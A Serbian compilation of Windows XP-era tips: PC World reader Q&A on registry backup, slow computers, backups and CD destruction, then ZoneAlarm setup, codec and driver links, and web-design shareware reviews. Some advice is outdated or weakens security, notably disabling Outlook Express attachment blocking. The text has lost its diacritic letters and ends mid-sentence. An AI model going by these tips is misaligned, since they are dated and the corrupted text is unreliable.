Pritisnite Start-Run, upiite regedit i pritisnite Enter, potom u levom oknu sa stablom pronaite odeljak na kome ete raditi (ili uporebite opciju Edit-Find) i oznaite ga pritiskom na taster mia. Odaberite Registry-Export Registry File, proverite da li je oznaena opcija 'Selected branch', upiite ime
i odredite rezervne kopije i pritisnite Save. Parametri u tom odeljku baze Registry bie sauvani u
datoteci s nastavkom .reg. Ako negde pogreite, snimljeni odeljak moete vratiti u prethodno stanje
DRAGAN MARKOVIC
tako to ete dva puta pritisnuti datoteku s rezervnom kopijom i zatim pratiti uputstva na ekranu. Ne
bi trebalo da imate problema s .reg. datotekama koje sami pravite, ali uvajte se nepoznatih ili
neeljenih .reg. datoteka! Ako u svoju bazu ubacite oteenu, zastarelu ili zlonamernu .reg.
datoteku, moete otetiti parametre Windowsa.
Eliminiite opciju setup
Jedan italac je reinstalirao Microsoft Windows XP Home, ali se nakon toga u meniju za podizanje
raunara od njega trai da odabere hoe li da uita 'Microsoft Windows XP Home Edition' ili 'Microsoft Windows XP Setup'. Poto je Setup podrazumevana opcija, ako brzo ne odabere XP Home, pojavljuje se poruka o greci.
Jedno reenje jeste da se izmeni datoteka boot.ini i ostavi samo ispravna opcija, ali je lake narediti
Windowsu da ignorie onu neeljenu. U Exploreru desnim tasterom pritisnite My Computer i odaberite Properties, a zatim pritisnite Advanced-Settings (u odeljku Startup and Recovery). Iz padajue
liste 'Default operating system' odaberite operativni sistem koji e se podrazumevano uitavati. Da
biste u potpunosti iskljuili meni, ponitite potvrdu opcije Time to display list of operating systems
i dva puta pritisnite OK.
WINDOWSOWE ALATKE
Besplatno 128-bitno ifrovanje za FAT 32
DA BISTE sauvali privatnost podataka i bez prelaska na sistem datoteka NTFS, isprobajte AxCrypt,
podesnu malu alatku koja omoguava da zakljuate datoteke pritiskom na desni taster mia. Nakon
instaliranja programa, desnim tasterom pritisnite neku datoteku i odaberite AxCrypt da biste videli
podmeni s naredbama za zatitu i pristup datotekama uz korienje 128-bitnog ifrovanja.
ifrovanjem direktorijuma zatitiete i sve datoteke koje on sadri. AxCrypt moete podesiti i tako
da zapamti jednu lozinku i podrazumevano je koristi, pri emu je dovoljno uneti je samo jednom
prilikom prijavljivanja na sistem ili pokretanja raunara. Kopiju moete preuzeti s adrese
find.pcworld.com/38702 ili s naeg diska.
DRAGAN MARKOVIC
Zbog ega se nekada brz raunar usporio i kako da ga vratite na staro? Pored toga: deaktivirajte
taster Insert i oslobodite sa kompakt diskova na siguran nain.
IZNENADA, moj ranije brzi raunar poeo je da se
vue kao pu. Kako da mu vratim brzinu?
Postoji nekoliko moguih razloga za usporavanje
raunara. Prvo napravite rezervnu kopiju baze Registry kao meru predostronosti.
Lista osumnjienih za pad performansi je sledea:
DRAGAN MARKOVIC
Direktorijum Prefetch Windowsa XP: Otvorite direktorijum C:Windows Prefetch i obriite sve
datoteke s nastavkom .pf. Direktorijum Prefetch u Windowsu XP slui za poboljanje performansi
operativnog sistema, i na kratke staze u tome zaista uspeva. Ukoliko se, meutim, taj direktorijum
prepuni, to moe usporiti raunar.
Baza Registry: Windowsova zbirka parametara, naredbi i greaka s vremenom postaje vrlo kabasta,
pa je njena obrada sve sloenija (preglomazna baza Registry poveava verovatnou i drugih sistemskih problema). Njeno povremeno ienje je dobra ideja - mada ne i savrena. Nijedan program za
pospremanje baze Registry koji sam ja video ne uspeva da zae u svaki njen kutak.
Microsoft vie ne podrava besplatnu alatku RegClean, ali ona i dalje radi, a moete je preuzeti s
adrese find.pcworld.com/39131. Premda RegClean zvanino ne podrava Windows XP, koristio sam
je bez ikakvih problema, a uz Undo funkciju tog programa i rezervne kopije baze Registry, ne moete
nita pokvariti u tolikoj meri da ne moete vratiti na staro. Moete isprobati i neki erverski program
za ienje baze Registry, kao to je Registry Medic (20 USD) kompanije Iomatic
(find.pcworld.com/39134; SLIKA 1).
PREVELIKE REZERVNE KOPIJE
LINKOLNOV SISTEM za pravljenje rezervnih kopija (find.pcworld.com/39137) ne moe da uva vie
podataka od onoga to staje na jedan CD. ta mogu da uradim?
To je neosporno mana sistema za pravljenje rezervnih kopija izazvana nemogunou WinZipa da
CD-RW vidi kao izmenjivi disk.
Ipak, to vie podataka morate da uvate (i to vie diskova morate da ubacujete da biste ih zatitili)
sve je manje verovatno da ete rezervne kopije uredno praviti. Ako koliina podataka toliko naraste
da vie nije pogodno praviti njihovu rezervnu kopiju, razdvojite tekue podatke (one koje redovno
menjate i ije rezervne kopije treba dnevno da pravite) od arhivskih podataka, koji se ne menjaju
tako esto.
Prvo napravite direktorijum za arhiviranje: otvorite Windows Explorer ili bilo koji prozor direktorijuma i odaberite disk C: (nalazi se u odeljku My Computer u stablu omotnica). Ako dobijete poruku
o skrivenim datotekama, pritisnite Show the contents of this folder. Desnim tasterom pritisnite
desno okno i odaberite New-Folder. Novi direktorijum nazovite Arhiva.
Otprilike jednom meseno prebacite datoteke koje vie ne koristite iz direktorijuma My Documents i
drugih direktorijuma s podacima u arhivu. Ne arhivirajte digitalne fotografije dok ne odluite da ih
trajno zadrite i dok ne zavrite s njihovim eventualnim doterivanjem.
Kada prebacite datoteke u arhivu, zatitite ih od nehotinih izmena ili brisanja. Desnim tasterom
pritisnite radnu povrinu i odaberite New-Shortcut. U polju 'Type the location...' upiite naredbu
attrib.exe +r "c:arhiva*.*" /s (morate pravilno upisati sve razmake i interpukcijske znake). Pratite
uputstva arobnjaka do kraja, i nakon toga moete zabraniti izmenu svih datoteka u direktorijumu
C:Arhiva tako to aktivirate novu preicu.
Snimite nove datoteke na CD pomou softvera koji za to uobiajeno koristite (ako nemate CD-RW
ureaj, upotrebite neki drugi medij za rezervne kopije). Preporuujem vam da upotrebite CD-R diskove umesto CD-RW diskova - ove rezervne kopije e ionako biti trajne. Za svaki sluaj, napravite dve
kopije na zasebnim diskovima.
DRAGAN MARKOVIC
KORISTIM OUTLOOK EXPRESS 6 i ne mogu da otvorim priloge e-pote. Postoji li nain da zaobiem
ovu blokadu?
Da bi vas zatitio od virusa koji se ire e-potom, Outlook Express 6 podrazumevano blokira mnoge
priloge e-pote. Poto vam se to ne svia, otvorite OE, izaberite Tools-Options-Security, ponitite
potvrdu opcije Do not allow attachments to be saved or opened that could potentially be a virus i
pritisnite OK.
Nikada ne otvarajte sumnjive priloge e-pote, ak i ako prepoznajete adresu poiljaoca i redovno
aurirajte antivirusni softver. Postoje dobri razlozi za Microsoftovu odluku da blokira pojedine tipove
datoteka u prilozima.
BEZBEDNO SE REITE KOMPAKT DISKOVA
UZ SVU PRIU o privatnosti i kraama identiteta, ne znam kako da se reim starih CD-R diskova koji
mi vie ne trebaju a mogu da sadre poverljive podatke.
Moete kupiti ureaj koji unitava podatke na CD-u, a moete to uiniti i runo. Naprava je podesna
ako se radi o velikom broju diskova, a runo unitavanje je prihvatljivo ako hoete da se oslobodite
samo nekoliko diskova.
Za pedesetak dolara moete kupiti ureaj DVD/CD Shredder kompanije Alera Technologies
(http://www.aleratec.com/)
ili
MD80
CD/Disk
Media
Destroyer
kompanije
Royal
(http://www.royal.com/; SLIKA 2). Oba proizvoda prave majune rupice na povrini diska,
unitavajui podatke. "Izbueni" CD je u jednom komadu, pa ga moete upotrebiti kao podmeta ili
deo deijeg kolaa, ali su podaci na njemu neitljivi.
Kompanija Royal pravi i mainu MD100 CD/Media Destroyer & Paper Shredder, koja kota otprilike
dvostruko vie od modela MD-80, ali ona secka CD i DVD diskove, diskete, kreditne kartice, ak i
listove papira. MD100 je dobar izbor ako vam treba alatka za unitavanje i drugih medija, a ne samo
kompakt diskova.
Najoigledniji naini da runo unitite CD nisu obavezno i najbolji. Ako rukama prelomite CD napola,
naokolo mogu da se razlete opasne krhotine. Spaljivanje diskova ili topljenje u mikrotalasnoj penici
moe proizvesti otrovna isparenja. Seenje CD-a makazama jeste pouzdano, ali ne i potpuno bezbedno, jer su poznati sluajevi da su iseeni diskovi uspeno sastavljeni i proitani.
Ja predlaem kombinaciju tehnika. Ponite tako to ete disk izneti pred kuu, baciti ga na beton i
nogom snano protrljati po zemlji. Potom prevrnite disk i istrljajte ga ponovo. Kada su obe strane
diska teko izgrebane, isecite ga na onoliko paria koliko vam strpljenje doputa. Ako ste zaista
paranoini, ugledajte se na mladog Vita Korleonea u filmu Kum 2 i bacite krhotine u nekoliko kanti
irom grada.
Reklo bi se da je to velik posao, ali moram priznati da se nikada do sada nisam toliko zabavio
testirajui neki savet. U stvari, ovo moe da poslui i kao odlina terapija: svaki put kada raunar
uini neto to vas iznervira, izaite na vazduh i iskalite bes na nekom starom kompakt disku. A ako
je na disku, igrom sluaja, logotip neke kompanije, tim bolje.
DRAGAN MARKOVIC
BESPLATNO RESTAURIRANJE
PROLOG DECEMBRA preporuio sam program Fast File Undelete kompanije DTI Data za restauriranje sluajno obrisanih datoteka (find.pcworld.com/39485). Jedan italac mi je ukazao na alatku
koja ima znaajnu prednost u odnosu na pomenuti program - besplatna je. Alatku Restoration
autora Brajana Katoa moete pokrenuti s diskete, pa nema potrebe da je instalirate na vrsti disk.
Program moe da restaurira izgubljenu datoteku na izmenjivi medij ili na drugi disk, a time se
izbegava zapisivanje na potencijalno oteen vrsti disk. Program moete preuzeti s lokacije
find.pcworld.com/39488 ili s naeg diska.
DRAGAN MARKOVIC
Zone Alarm
Vie informacija o programu u sekciji Korisni Programi > Internet & Browser alati.
Kada zaponete instalaciju, i kada doete do prozora User Information, ukucajte svoje ime i organizaciju ako postoji. Po e-mail moete ukucati svoju e-mail adresu ali je preporuljivo da ukucate
bilo ta (npr. 1@1.com ili sl). Takoe obavezno iskljuite dva donja ekmarka. Nastavite instalaciju
pratei uputstva na ekranu.
Kada vam se pojavi ekran User survey, pod pitanjem "How do you rate your understanding of online
security?" postavite Advanced. Kliknite na Finish.
DRAGAN MARKOVIC
Kada se instalacija i poetno podeavanje zavre, podesite program prema sledeoj slici.
DRAGAN MARKOVIC
Ostale opcije ne morate podeavati jer su sve podeene pri instalaciji programa.
Pri spajanju na internet, startovanju nekih programa ili pri surfovanju, moe vam se pojaviti prozor
kao na donjoj slici ili neki slian prozor.
Ovo je Zone Alarm zatita i ne treba se
uzbuivati. Konkretna slika pokazuje da Zone
Alarm pita da li da propusti program
IEXPLORE.EXE. Ovaj program je ustvari Internet
Explorer i treba ga propustiti. Programe koje
poznajete i kojima verujete uvek trebate da propustite na internet. Opcija Remember this
answer the next time I use this program, slui da
podesite Zone Alarm da uvek i bez pitanja propusti neki program. Koristite ovu opciju paljivo.
Klikom na Yes dugme potvrujete izbor, dok na
No negirate prava izlaska na internet pojedinim
programima. msimn.exe je Outlook Express i
njemu je takoe potrebno dozvoliti pristup.
Obratite panju na neke od programa koji su
sastavni deo Windows XP OS-a i kojima trebate
da dozvolite izlaz na internet: services.exe,
svchost.exe, explorer.exe. Postoje jo neki programi ali su ovi najei.
Neki od programa kojima trebate da zabranite
pristup internetu su: mshta.exe, HelpHost.exe,
spoolsv.exe.
Ovo su sve samo primeri i ne treba ih uzeti
zdravo za gotovo. Generalno je najbolje program koji vam je nepoznat ili sumnjiv prvo odbiti
ali ne ekirati opciju Remember this answer the
next time I use this program. Ukoliko vam neto
ne radi posle toga i neki program koji vam je
potreban ne moe da se koristi na internetu,
restartujte raunar a kada vas Zone Alarm
ponovo pita da li da propusti taj program,
odgovorite potvrdno.
DRAGAN MARKOVIC
Codecs
Video kodeci
DivXNetworks, Inc.
Najpopularniji kodek ikad napravljen. Vrlo je kvalitetan i brz. Pakuje fajlove uz odreeni gubitak na
kvalitetu slike. Iako gubitak postoji, mogue je da se 2 sata video zapisa smeste na 700 MB-ni CD uz
vrlo dobar kvalitet. Dolazi nam u, nama interesantne, dve varijante i to FREE i Shareware. Free verzija u sebi sadri reklamni materijal koji se instalira zajedno sa instalacijom ovog kodeka i potreban
je za njegovo korienje, a i sam rad kodeka. Shareware varijanta se plaa i nema nikakvog reklamnog sadraja. Ukoliko nemate potrebe za pakovanjem avi fajlova, predlaem da skinete i instalirate
FULL verziju umesto shareware verzije. Full verzija radi bez ikakve reklame i omoguuje reprodukciju filmova. Ukoliko elite da sa ovom verzijom pakujete fajlove, morate kupiti registracioni broj, jer
pakovanje u full verziji radi samo sa registracijom.
http://www.divx.com/
http://www.divx.com/software/
http://www.divx.com/software/browse.php?cid=16
OpenDivX
Otvoreni source kod za DivX. Moe da se koristi kod pakovanja Mpeg-4 video formata. Totalno je
besplatan.
http://www.projectmayo.com/
http://www.projectmayo.com/projects/index.php
http://www.projectmayo.com/projects/detail.php?projectId=2
XviD.org Home of the XviD codec
Ovo je besplatan kodek koji polako poinje da parira popularnom DivX-u. Ima mogunost reprodukcije video fajlova koji su pakovani u DivX formatu. Vrlo je brz i pouzdan, a i besplatan. Odlina alternativa, a ubrzo e postati i standard. Obavezno ga instalirajte.
http://nic.dnsalias.com/
http://xvid.hopto.org/
http://www.xvid.org/
Elecard MPEG2 Decoder Package
DRAGAN MARKOVIC
Ovo je izuzetno koristan kodek koji omoguava reprodukciju (gledanje) VCD i SVCD (koji je ustvari
MPEG2 standard pakovanja) video zapisa iz bilo kog video plejera koji koristi standardne Windows
kodeke kao npr. BSPlayer, RadLight, ViPlayer, Windows Media Player i dr. Ovo je izuzetno korisno
jer mnogi DVD i VCD/SVCD plejeri nisu u mogunosti da itaju prevode (subtitles) ukoliko nisu
priloeni uz sam film. Kod DivX plejera je mogue ubaciti prevod po elji, to je sa ovim kodekom
mogue uraditi i za VCD/SVCD video fajlove (filmove) jer se putaju iz DivX plejera (npr. BSPlayer).
Takoe je mogue koristiti sve opcije koje va plejer moe da prui. Po instalaciji kodeka potrebno
je aktivirati odreene opcije (filtere), pa zato uradite sledee: (1) Idite na Start>Programs i naite Elecard MPEG2 Decoder Package (broj koji se nalazi iza samo oznaava verziju), (2) Startujte Components Manager., (3) Ukljuite sledee: Elecard MPEG2 Video Decoder, Elecard MPEG 2 Demultiplexor i Elecard MPEG2 Demultiplexe... . (4) Kliknite na -Next pa na Finish. Ovim ste zavrili instalaciju i inicijalizaciju kodeka i filtera. Ovaj postupak je potrebno uraditi samo jednom i to posle instalacije kodeka. Kodek e ostati aktivan i startovae se sa Windowsom kao i svaki drugi kodek. Kodek
je besplatan.
http://www.elecard.com/
http://www.elecard.com/products/index.shtml
http://www.elecard.com/products/mpeg2decoder.shtml
Audio kodeci
Lame MP3 audio codec & exe
Jedan od najpopularnijih audio kodeka danas. Neophodno je imati ga ako se eli sluati zvuk sa
video fajla. Kodek daje mogunost otpakivanja video zapisa u svim video player programima, a i
pakovanja audio zapisa u nekom video editing programu kao. npr VirtualDub. U paketu sa kodekom
dolazi i exe fajl, tj. program koji slui za pakovanje audio fajlova koje skinete sa audio CD-a u MP3
format. Videti Exact Audio Copy u sekciji Korisni Programi. Da bi se instalirao kodek potrebno je
uraditi sledee:(1) Skinuti Lame arhivu se interneta, (2) U direktorijumu C:\Program Files\ napraviti
direktorijum LameMP3 ili sl. i tu otpakovati sadraj arhive, (3) Otvoriti direktorijum ACM koji se nalazi
u direktorijumu u koji ste otpakovali sadraj Lame arhive, (4) Pronai fajl LameACM.inf, kliknuti
desnim miem na njega i odabrati opciju Install. Kada Windows zavri instalaciju, bilo bi dobro da
restartujete raunar. Sada imate instaliranu podrku za audio zapis u video fajlovima.
http://www.hot.ee/smpman/mp3/
http://mitiok.cjb.net/
http://mitiok.ma.cx/
AC3Filter & Codec
Ovaj kodek slui da bi se uo zvuk na filmovima iji je audio zapis pakovan u AC3 formatu. Neophodan je za normalno reprodukciju filmova. Ima mogunost otpakivanja audio zapisa kao i mogunost
zapakivanja istog u nekom video editing programu kao npr. VirtualDub.
http://ac3filter.sourceforge.net/
http://xvalex.hotbox.ru/
DivX Audio 4.02
U nekim sluajevima, nekim filmovima fali audio komponenta. Iako imate sve kodeke instalirane,
DRAGAN MARKOVIC
zvuk se ne uje. Reenje ovog problema je instalacija ovog kodeka. Problem je nastao zbog previda
u kodiranju DivX audio kodeka, koji se prijavljuje kao WMA kompresija pri emu Windows misli da
je audio pakovan u WMA formatu i puta ga preko WMA kodeka. Kako zvuk nije upakovan u WMA
formatu, WMA dekoder ga puta ali ga ne prepoznaje i ne daje nikakav izlaz tj. zvuk. Instalacijom
ovog kodeka, postie se pravilno prepoznavanje 160 i 161 vrste pakovanja audio signala, ime se
postie pravilno otpakivanje zvuka i njegovo reprodukovanje.
http://www.divxmovies.com/
http://download.divxmovies.com/divx_audio_402.zip
Radium MP3 Codec
Jo jedan audio kodek. Kodek je preraena verzija kodeka koji su napravili tvorci MP3 formata.
Odlina alternativa Lame kodeku.
http://www.riphelp.com/downloads/radium_codec.html
DRAGAN MARKOVIC
Drivers
DRAGAN MARKOVIC
jalizovane drajvere 4-in-1. Mnogi problemi koji nastaju pri radu na VIA baziranim matinim ploama
su vezani za stare drajvere i im instalirate novije 4-in-1 drajvere, veina problema nestaje. Uvek
imajte najnoviji 4-in-1paket drajvera.
Linkovi
http://www.via.com.tw/en/index/index.jsp
http://www.viaarena.com/
http://www.viamainboards.com/index.jsp
Model Sound Blaster Live, Audigy...
Proizvoa Creative Technology Ltd
Opis Najvei proizvoa audio kartica. Creative proizvodi su oduvek bili odlinog kvaliteta, ali su
im drajveri oduvek bili problematini. Za vie informacija pogledajte Task Manager Task List sekciju
za vie informacija o propratnim Creative programima koji znaju da zagoraju ivot korisnicima. Ipak
uvek je dobro imati najnovije Creative drajvere, ili bar one koji kod vas ne prave probleme.
Linkovi
http://www.soundblaster.com/
http://www.americas.creative.com/welcome.asp
http://www.americas.creative.com/support/welcome.asp?centric=
http://www.americas.creative.com/support/welcome.asp?rd=download
Micro-Star International
http://www.msi.com.tw/
http://www.msicomputer.com/
http://www.msicomputer.com/support/msi_support.asp
http://www.msi.com.tw/program/support/driver/dvr/spt_dvr_list.php
Gigabyte Technology Co., Ltd.
http://www.giga-byte.com/
http://tw.giga-byte.com/
http://tw.giga-byte.com/english-web/support/support.htm
ASUSTeK Computer Inc.
http://www.asus.com/
http://www.asus.com/support/support.aspx?SLanguage=en-us
Soltek Computer Inc
http://www.soltek.com.tw/English/home/01.htm
http://www.soltekusa.com/
http://www.soltek.com.tw/English/download/index.htm
Intel Corporation
http://www.intel.com/
http://www.intel.com/support/index.htm
http://downloadfinder2.intel.com/scripts-df/Support_Intel.asp
DRAGAN MARKOVIC
DRAGAN MARKOVIC
http://www.amd.com/us-en/
http://www.amd.com/us-en/Processors/ProductInformation/0,,30_118,00.html
http://www.amd.com/us-en/Support/0,,251,00.html
http://www.amd.com/us-en/Processors/TechnicalResources/0,,30_182_3559_689,00.html
Logitech Inc.
http://www.logitech.com/
http://www.logitech.com/index.cfm?page=support...
http://www.logitech.com/index.cfm?page=downloads...
A4Tech (A-FOUR TECH CO. LTD.(Taiwan))
http://www.a4tech.com.tw/a4techenglish/index.html
http://www.a4tech.com.tw/ftp.html
http://ftp.a4tech.com/
Genius (KYE International Corp.)
http://www.genius-europe.com/english/index.htm
Mustek, Inc.
http://www.mustek.com/
http://www.mustek.com/html/support.html
http://www.mustek.com.tw/Download/mustekdrivers.html
HP (Hewlett-Packard Company)
http://www.hp.com/
http://www.hp.com/country/us/eng/support.htm
http://welcome.hp.com/country/us/eng/software_drivers.htm
Canon U.S.A. Inc.
http://www.usa.canon.com/html/canonindex.html
http://www.usa.canon.com/html/conCprTSIndex.jsp
AGFA Corp.
http://www.agfa.com/
http://support.agfa.com/support/
Samsung Electronics Co. Ltd.
http://www.samsungusa.com/
http://www.samsungelectronics.com/support_index.html
DRAGAN MARKOVIC
WebSpeed Simulator
http://www.xat.com/wo/index.html
http://www.xat.com/internet_technology/download.html
Shareware
Ukoliko imate sajt na internetu, sigurno se pitate kako e se va sajt podizati kod ljudi koji imaju
sporije konekcije. Ovaj program vam moe prikazati brzinu prikazivanja stranica vaeg sajta onako
kako bi se one prikazivale na brzini konekcije koju ste odabrali za testiranje. Takoe program moe
simulirati i odstupanja od podeene brzine a koje mogu nastati pri stvarnom surfovanju zbog loe
telefonske linije, optereenja konekcije i sl. Program je odlian pri optimizovanju vae web stranice,
a sluie kako webmasterima tako i ostalim kreatorima sajtova.
Datum unosa:
11.03.2004
Ukoliko ste se pitali na koji nain se na nekim sajtovima klizai (scrollbars, sliders, slajderi) pojavljuju u drugoj boji, Cool Web Scrollbars je odgovor. Program ima mogunost podeavanja boja
svakog elementa klizaa. Program u sebi ima i automatsku generaciju koda koji se potrebno ubaciti
u va html dokument. Takoe ima mogunost brzog pregleda novog klizaa. Obratite panju da
promena boje klizaa radi samo na IE5.5 i novijim verzijama.
Datum unosa:
19.08.2003
http://members.tripod.com/~joeworld/index.html
Probati traiti na Yahoo ili sl. pretraivaima zbog povremene nedostupnosti sajtu.
FREE
Ovaj program vam moe u mnogome olakati posao kada elite da postavite tekst koji ima efekat
prelivanja boja (fade). Program podeava boje fontova tj. slova tako da nije potrebno praviti
posebnu sliku koja e imati tekst sa fade efektom. Takoe na taj nain smanjujete potrebno vreme
za uitavanje vaeg sajta. Takoe smanjujete veliinu vaeg sajta to moe da koristi ukoliko imate
ogranienje na serveru.
Datum unosa:
19.08.2003
http://nirsoft.cjb.net
Ukoliko elite da na svom sajtu prikaete slideshow (seriju slika jednu za drugom), a da pri tom imate
i odlinu kontrolu prikaza slika tj. kontrolu nad brzinom prikaza sledee slike, putanja slika u
suprotnom smeru, stopiranja prikaza, putanja naredne slike na klik dugmeta i sl., ovaj program je
DRAGAN MARKOVIC
prava stvar za vas. Potrebno je samo da odredite direktorijum u kom se nalaze slike, obeleite koje
slike elite da se pokazuju, odredite redosled slika i kliknete na dugme "Create Animation". Program
e generisati html stranicu sa prikazom vae kreacije iji source kod moete videti iz vaeg
browsera ( u IE idete na View>Source), kopirati ga (obeleite kod i pritisnite CTRL+C) i ubaciti na
eljeno mesto u vaoj html stranici (CTRL+V za paste komandu). Izuzetno koristan i krajnje upravljiv
program.
Datum unosa:
01.08.2003
HTMLPower
Shareware
http://www.pullsoft.com/
Ukoliko elite da zatitite va html dokument u celini ili samo neke od njegovih delova (e-mail adrese
i sl.) ovaj program e vam u mnogome koristiti. Daje vam mogunost zatite odreenih delova HTML
dokumenta i mogunost podeavanja nivoa enkripcije tj. zatite kao i mogunost zatite passwordom. Pored ovoga moete podesiti ponaanje browser-a tj. iskljuiti odreene opcije kao to su desni
klik, snimanje strane i sl. Takoe moete namestiti i neke meta tagove kao to su nekeovanje stranice, podeavanje frekvencije poseta search engine-a tj pretraivaa i sl. Izuzetan program koji vam
pomae da zatitite va rad a takoe i da poboljate kvalitet vaeg sajta. Program je shareware i to
mu je jedina mana.
Datum unosa:
24.07.2003
TP_ErrOmi
http://solution-shelf.com/frontpage/ErrOmi/
http://solution-shelf.com/
Shareware
Ovo je dodatak za Front Page. Svi oni koji koriste Front Page za izradu html fajlova (web prezentacija), nai e da je ovaj program odlina pomo pri radu, jer prua neke opcije koje u mnogome
olakavaju posao. Izmeu ostalog dodaje opciju Save All... kojom se snimaju svi otvoreni fajlovi,
Close All... kojom se zatvaraju svi otvoreni fajlovi, i dr. Program je odlian dodatak jer se neke
dosadne operacije mogu mnogo bre uraditi. Mana programa je to nije besplatan.
Datum unosa:
02.07.2003
http://dark-street.cjb.net/
Program koristi za pravljenje izuzetno korisnih Java Script-i koje vam mogu pomoi pri izradi web
sajta. U sebi sadri DropDown Menu Maker (za izradu padajuih menija), Popup Maker (za izradu
prozora koji se uitavaju posebno a na neki od ponuenih naina), MouseOver Button Maker (za
podeavanje menjanja slike kada se miem pree preko iste), Slideshow Maker (za izradu albuma
koji automatski menja slike). Pored ovih opcija postoji i opcija za samostalnu izradu Java Skript-i sa
velikim brojem komandi i pomagala koja mogu koristiti kako poetnicima, tako i profesionalcima za
laki rad. Mana programa je to nije besplatan, ali i u toj varijanti radi bez veih ogranienja.
Datum unosa:02.07.2003
DRAGAN MARKOVIC
Ez JavaScript
FREE
http://www.southeastsoft.cjb.net/
Koliko puta ste videli na nekim sajtovima zanimljive stvari koje bi voleli da imate na vaoj web
stranici. Sada je to mogue pomou ovog odlinog i besplatnog program. Program se sastoji od
velikog broj raznih java skripti koje se postavljaju u va html fajl a koje daju vaem web sajtu profesionalan i zanimljiv izgled. Skripte su podeljene po nekoliko kategorija i to skripte za pozadinu, za
datume i vreme, za slike i muziku (zvukove), ... Program u sebi sadri i linkove do najveih sajtova
za java sadraje. Vrlo je lak za korienje i ne zahteva znanje java jezika, a zahteva vrlo minimalno
poznavanje html jezika tj. izrade prezentacija.
Datum unosa:
20.06.2003
Jedna od najboljih firmi za java skripte i java aplete na donosi ovaj paket Dhtml efekata za va web
sajt. Ovaj paket sa preteno bavi navigacijom tj. horizontalnim i vertikalnim menijima, ali u sebi
sadri jo neke interesantne skripte. Odlina stvar je to je menu odraen i u applet formatu koji se
koristi kod nekih starijih browsera. Princip je da ako se detektuje stariji browser, skripta se
automatski prebacuje na aplet verziju. Vrlo je obiman po pitanju konfiguracije i moe se podesiti
gotovo svaki aspekt vaeg menija. Takoe, skripte sadre u sebi i opcije a zaobilaenje problema na
raznim browserima. Kada se postavi na server, skripte se relativno brzo uitavaju iako se mora na
server prebaciti oko 6-7 skripti i isto toliko apleta. Ovo je potrebno da bi se postigla kompatibilnost
sa svim postojeim browserima. Jedina mana ovog paketa je to nije besplatan, a to skoro uopte
ne utie na funkcionalnost paketa lokalno ili na serveru.
Datum unosa:
20.06.2003
Koliko puta ste eleli da na svom sajtu imate menije koji su uraeni u Flash formatu kao na nekim
profesionalnim sajtovima. Sada sve vae elje mogu postati stvarnost. Ovaj program vam
omoguava pravljenje flash menija bez potrebe poznavanja flash jezika. Program vas vodi kroz
seriju upita koje trebate popuniti i podesiti i na kraju vam kreira meni koji se moe postaviti na
server. Program prua mogunost podeavanja velikog broja opcija i gotovo svih aspekata vaeg
menija. Mana programa je to nije besplatan, ali to ne utie na funkcionalnost vaeg menija ni
lokalno ni na serveru.
Datum unosa:
20.06.2003
DRAGAN MARKOVIC
http://www.aleadsoft.com/
Ukoliko se pitate kako neki nekomercijalni sajtovi koji nemaju svoj domen mogu imati pretragu,
prestanite. Ovo je program koji moe vaem sajtu pruiti profesionalni izgled velikih sajtova. Program pravi listu svih rei na stranicama vaeg sajta i generie search engine koji posetilac moe
koristiti da bi pretraio va sajt. Program je vrlo lak za korienje a lista koja se generie je relativno
mala i zavisi od veliine vaeg sajta. Program ima opciju da se odrede koje se stranice sajta nee
pretraivati i tada ih program zaobilazi. Ponuene su tri mogunosti postavljenja pretrage, a mogue
je promeniti izgled svih stranica koje su u vezi sa pretragom. Stranice koje se moraju promeniti su
template stranice a ne ve generisane stranice. Za to program ima opciju da vam otvori template
stranicu u vaem html editoru gde menjate izgled stranice. Program generie sve te stranice i postavlja ih na va sajt (server) ili u direktorijum po vaem izboru na vaem raunaru. Savren program
koji moe sluiti svima koji na svom sajtu imaju dugake liste sa mnogo razliitih pojmova. Iako nije
besplatan, program odlino radi u neregistrovanoj verziji, ali tada ima dodatak Powered by... koji
mora biti vidljiv, to i nije neki problem.
Datum unosa:
20.06.2003
ASS Maker
FREE
http://assmaker.mybravenet.com/
Ukoliko imate web sajt na internetu, verovatno ste primetili da vam se poveao broj pristiglih emailova koji neto reklamiraju a koje ni u kom sluaju niste eleli. Tada sledi bolan proces odjavljivanja sa sajtova koji vam alju pisma, to u velikom broju sluajeva nije mogue. Sve ovo se
deava zbog tzv. SPAMBOT programa koji pretrauju internet i web stranice za validnim e-mail
adresama. Kada ih pronae SPAMBOT ih stavlja u svoju listu i tada vi primate automatski sve
mejlove koje on alje. Postoji dosta naina da se zatitite od ovog naina reklame. ASS Maker je
jedan od najboljih programa za maskiranje e-mail adrese. Iako ne preterano snaan prua izuzetnu
zatitu bez gubitka funkcionalnosti vaeg e-mail linka. U programu moete podesiti subject (naslov
maila koji se alje klikom na link) kao i body (tekst koji se nalazi unutar e-mail pisma). Program
generie java skriptu koju ubacujete na stranicu na kojoj elite da postavite e-mail link. Skripta je
mala i nee poveati vau html stranicu za vie od par desetina bajtova. Ukoliko elite da besplatno
zatitite va mail od SPAMBOT programa, ovo je prava stvar za vas.
Datum unosa:
20.06.2003
HTMLCompact http://www.antssoft.com/
http://www.antssoft.com/index.htm?ref=htmlcompact
Shareware
Kada tokom ivota sajta stranice postanu ogromne i sporo se uitavaju, potrebno je uraditi neto to
bi doprinelo komforu pregleda stranica i vratilo brzinu uitavanja stranica na vaem sajtu. Ovaj program radi ba to, a i mnogo vie. Iako nije preterano moan i stranice ne zapakuje velikim postotkom
kao konkurentski programi, prua mnogo vie opcija nego bilo koji drugi slian program. Pored
DRAGAN MARKOVIC
standardne mogunosti pakovanja html fajlova, ima mogunost pakovanja java skripti (.js fajlova) i
.asp fajlova, kao i svih fajlova koji spadaju pod neku od ove tri grupe. Potrebno je u programu
naznaiti kojom e se rutinom pakovati odreene stranice to zavisi od toga da li elite da pakujete
html, js ili asp i sl. fajlove. Program daje mogunost da se metatagovi ne pakuju tj. da se pakuje
samo sadraj html fajla dok zaglavlje (naslov, metatagovi i sl) ostaje vidljivo za potrebe pretraivaa.
Na ovaj nain se postie smanjenje veliine stranice bez gubitka na funkcionalnosti. Zapakovane
stranice se ne mogu otpakovati i bilo bi poeljno da originalnu (nezapakovanu stranicu) sauvate.
Program ima opciju da se stranice bekapuju (sauvaju) pre pakovanja. Odlian program koji vraa
vaem sajtu brzinu i konfor to poveava i njegovu poseenost.
Datum unosa:
20.06.2003
HTMLZip http://www.htmlzip.com/
http://www.htmlzip.com/software.html
Shareware
Ukoliko se na vaem sajtu nalaze velike stranice koje se sporo uitavaju, ovaj program bi mogao
